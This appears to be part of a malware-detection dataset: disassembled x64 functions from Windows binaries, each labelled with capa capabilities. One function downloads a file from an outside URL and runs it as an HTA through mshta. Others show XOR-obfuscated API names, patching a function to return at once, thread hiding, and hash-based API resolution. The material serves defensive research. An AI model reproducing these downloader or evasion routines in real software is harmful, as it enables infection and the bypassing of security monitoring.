joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1eafa13a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x1eafa15b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1eafa22b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1eafa22b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x1eafa1620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1eafa7064]
mov r12, rcx
test ebx, ebx
jle 0x1eafa1750
mov rax, qword [0x1eafa7068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x1eafa166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1eafa16f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x1eafa1650
mov rcx, r12
call fcn.1eafa1da0
mov rsi, rax
test rax, rax
je 0x1eafa1772
mov rax, qword [0x1eafa7068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1eafa1ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1eafa7068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1eafa1757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1eafa16ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1eafa1700
add dword [0x1eafa7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1eafa7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1eafa16ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1eafa15b0
nop dword [rax]
xor ebx, ebx
jmp 0x1eafa1677
mov rax, qword [0x1eafa7068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1eafa15b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1eafa15b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1eafa1a10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1eafa70a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1eafa7080]
test rbx, rbx
je 0x1eafa1a64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1eafa1a5b
test r12, r12
je 0x1eafa1a5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1eafa1a40
lea rcx, [0x1eafa70a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1eafa1da0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1eafa42c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1eafa1dc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1eafa1dc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1eafa1dc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1eafa1e15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1eafa1e0c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1eafa1dc0
add rax, 0x28
cmp rax, r9
jne 0x1eafa1df8
xor eax, eax
ret

Function at 0x1eafa1e20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1eafa42c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1eafa1e40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1eafa1e48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1eafa1e40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1eafa1ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1eafa42c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1eafa1ef0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1eafa1ef8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140005040
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1400e80c0]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, [0x140096b38]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
je 0x140005228
cmp byte [0x14009e9fd], 0
mov ecx, dword [0x14009e9f8]
movsd xmm0, qword [0x14009e9f0]
mov dword [rsp + 0x28], ecx
movzx ecx, word [0x14009e9fc]
mov word [rsp + 0x2c], cx
mov qword [rsp + 0x40], rbx
movsd qword [rsp + 0x20], xmm0
je 0x1400051ef
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400051b4
movdqa xmm2, xmmword [0x1400a8260]
mov ecx, 8
movdqa xmm3, xmmword [0x1400a8270]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400a82f0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a8290]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x14009e9f0]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400a82b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a82c0]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x20], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a8290]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x24]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a82b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a82c0]
xorps xmm2, xmm0
movd dword [rsp + 0x24], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x1400051c0
lea rdx, [rsp + 0x20]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140005223
mov edx, 1
lea r9, [rsp + 0x30]
mov rcx, rax
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140005223
mov byte [rbx], 0xc3
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140082bf0
add rsp, 0x48
ret
Function at 0x140005240
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x60
lea rcx, [0x140096b38]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x14009edd0]
mov r9, rax
movups xmm0, xmmword [str.GgPBV_UIQJV__]
mov dword [rsp + 0x40], ecx
movzx ecx, word [0x14009edd4]
mov word [rsp + 0x44], cx
movzx ecx, byte [0x14009edd6]
mov byte [rsp + 0x46], cl
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmmword [rsp + 0x30], xmm0
jl 0x1400053e1
movdqa xmm0, xmmword [0x1400a82c0]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400a8260]
movdqa xmm4, xmmword [0x1400a82f0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x1400a8290]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400a82b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a82b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x1400052d0
movaps xmm6, xmmword [rsp + 0x50]
cmp ecx, 0x17
jge 0x14000541f
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x17
jl 0x1400053f0
lea rdx, [rsp + 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call rbx
add rsp, 0x60
pop rbx
ret
Function at 0x140009100
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
lea rsi, [0x1401241d0]
lea rbp, [0x140124338]
mov rcx, qword [rsi]
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400091e7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400091c7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400091c7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5cfacd2f
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400091c2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400091a0
cmp r8d, 0x5ae9e9af
je 0x1400091cc
test r9d, r9d
jne 0x140009180
mov rax, qword [rax]
jmp 0x140009150
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
add rsi, 8
cmp rsi, rbp
jne 0x140009122
mov r8, qword [0x140124338]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
test rax, rax
je 0x1400092b7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140009297
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140009297
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd8c3f07
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140009292
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140009270
cmp r8d, 0xa268fe47
je 0x14000929c
test r9d, r9d
jne 0x140009250
mov rax, qword [rax]
jmp 0x140009220
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000a130
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x58
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r8, qword [rax + 0x30]
mov qword [rsp + 0x30], r8
movsxd rcx, dword [r8 + 0x3c]
mov rdx, qword [rcx + r8 + 0x88]
mov qword [rsp + 0x60], rdx
mov r11d, edx
add r11, r8
mov qword [rsp + 0x38], r11
shr rdx, 0x20
mov dword [rsp + 0x40], edx
cmp r11, r8
je 0x14000a203
mov r10d, dword [r11 + 0x18]
mov dword [rsp + 0x20], r10d
nop
mov ecx, r10d
dec r10d
mov dword [rsp + 0x20], r10d
test ecx, ecx
je 0x14000a203
mov ecx, dword [r11 + 0x20]
add rcx, r8
mov ecx, dword [rcx + r10*4]
add rcx, r8
mov qword [rsp + 0x28], rcx
mov r9d, 0xcb622c41
nop dword [rax + rax]
movsx edx, byte [rcx]
inc rcx
mov qword [rsp + 0x28], rcx
test dl, dl
jne 0x14000a1f7
cmp r9d, 0xfdcd112b
jne 0x14000a1f5
mov edx, dword [r11 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
call rax
jmp 0x14000a20b
jmp 0x14000a190
xor edx, r9d
imul r9d, edx, 0x1000193
jmp 0x14000a1c0
mov rax, qword [rax]
jmp 0x14000a150
add rsp, 0x58
ret
Function at 0x14000b220
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
sub rsp, 0xc8
movaps xmm0, xmmword [0x14009efd0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [0x14009efe0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm0, xmmword [0x14009eff0]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [0x14009f000]
movaps xmmword [r11 - 0x48], xmm1
movaps xmm0, xmmword [0x14009f010]
movaps xmmword [r11 - 0x38], xmm0
movaps xmm1, xmmword [0x14009f020]
movaps xmmword [r11 - 0x28], xmm1
movsd xmm0, qword [0x14009f030]
movsd qword [r11 - 0x18], xmm0
mov eax, dword [0x14009f038]
mov dword [r11 - 0x10], eax
movzx eax, word [0x14009f03c]
mov word [r11 - 0xc], ax
movzx eax, byte [str.hbv_ZY_K]
mov byte [r11 - 0xa], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
mov qword [rsp + 0x30], r10
movsxd rcx, dword [r10 + 0x3c]
mov rdx, qword [rcx + r10 + 0x88]
mov qword [rsp + 0xd0], rdx
mov r11d, edx
add r11, r10
mov qword [rsp + 0x38], r11
shr rdx, 0x20
mov dword [rsp + 0x40], edx
cmp r11, r10
je 0x14000b3d5
mov r9d, dword [r11 + 0x18]
mov dword [rsp + 0x20], r9d
nop dword [rax]
nop dword [rax + rax]
mov ecx, r9d
dec r9d
mov dword [rsp + 0x20], r9d
test ecx, ecx
je 0x14000b3d5
mov edx, dword [r11 + 0x20]
add rdx, r10
mov ecx, dword [rdx + r9*4]
add rcx, r10
mov qword [rsp + 0x28], rcx
mov r8d, 0x1db19c8e
nop dword [rax]
movsx edx, byte [rcx]
inc rcx
mov qword [rsp + 0x28], rcx
test dl, dl
jne 0x14000b3c6
cmp r8d, 0x98b981f2
jne 0x14000b3c1
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r10
cmp byte [rsp + 0xbe], 0
je 0x14000b3b7
xor r10d, r10d
mov dword [rsp + 0x24], r10d
cmp r10d, 0x6f
jge 0x14000b3b7
movsxd rax, r10d
lea r8, [rsp + 0x50]
add r8, rax
mov eax, 0x92492493
imul r10d
add edx, r10d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r10b
sub al, cl
add al, 0x32
xor al, byte [r8]
mov byte [r8], al
inc r10d
jmp 0x14000b373
lea rcx, [rsp + 0x50]
call r9
jmp 0x14000b3dd
jmp 0x14000b300
xor edx, r8d
imul r8d, edx, 0x1000193
jmp 0x14000b330
mov rax, qword [rax]
jmp 0x14000b2b2
add rsp, 0xc8
ret
Function at 0x14000b3f0
Capabilities:
Delete file
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x90
mov qword [rsp + 0xa0], rdi
mov rdi, rcx
call fcn.140019a20
mov rbx, rax
lea rdx, [rax + 1]
test rdx, 0xfffffffffffffffe
jne 0x14000b647
mov edx, dword [str.sK_Z_7]
movups xmm0, xmmword [0x14009f058]
mov eax, dword [0x14009f068]
mov dword [rsp + 0xa8], edx
movzx edx, word [0x14009e734]
xor byte [rsp + 0xa9], 0x33
xor byte [rsp + 0xaa], 0x34
xor byte [rsp + 0xab], 0x35
mov word [rsp + 0xac], dx
xor dl, 0x36
xor byte [rsp + 0xad], 0x37
cmp byte [0x14009f06b], 0
mov byte [rsp + 0xa8], 0x41
mov byte [rsp + 0xac], dl
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], eax
je 0x14000b62f
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000b5f4
movdqa xmm0, xmmword [0x1400a82c0]
lea rdx, [rsp + 0x64]
movdqa xmm5, xmmword [0x1400a8260]
movdqa xmm4, xmmword [0x1400a82f0]
movdqa xmmword [rsp + 0x50], xmm0
mov r8d, dword [rsp + 0x50]
movaps xmmword [rsp + 0x80], xmm6
movdqa xmm6, xmmword [0x1400a8290]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400a82b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a82b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x14000b4e0
movaps xmm6, xmmword [rsp + 0x80]
cmp ecx, 0x14
jge 0x14000b62f
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x14
jl 0x14000b600
xor r9d, r9d
lea r8, [rsp + 0xa8]
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, rdi
mov rcx, rbx
call fcn.14001e860
mov rdi, qword [rsp + 0xa0]
test rax, rax
jne 0x14000b667
mov rcx, rbx
call fcn.140019df0
mov rcx, rbx
add rsp, 0x90
pop rbx
jmp fcn.140019df0
Function at 0x140016d90
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140016db8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140016dde
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140016de0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140016e39
test ecx, ecx
jle 0x140016e19
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140016e39
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140016e39
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140016e60
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140016e82
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140016e98
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140016eb4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140016eb6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140016ef2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140016f8e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140016f2d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140016f6e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140016f8e
cmp rbx, rax
ja 0x140016f40
test rbx, rbx
je 0x140016f8e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret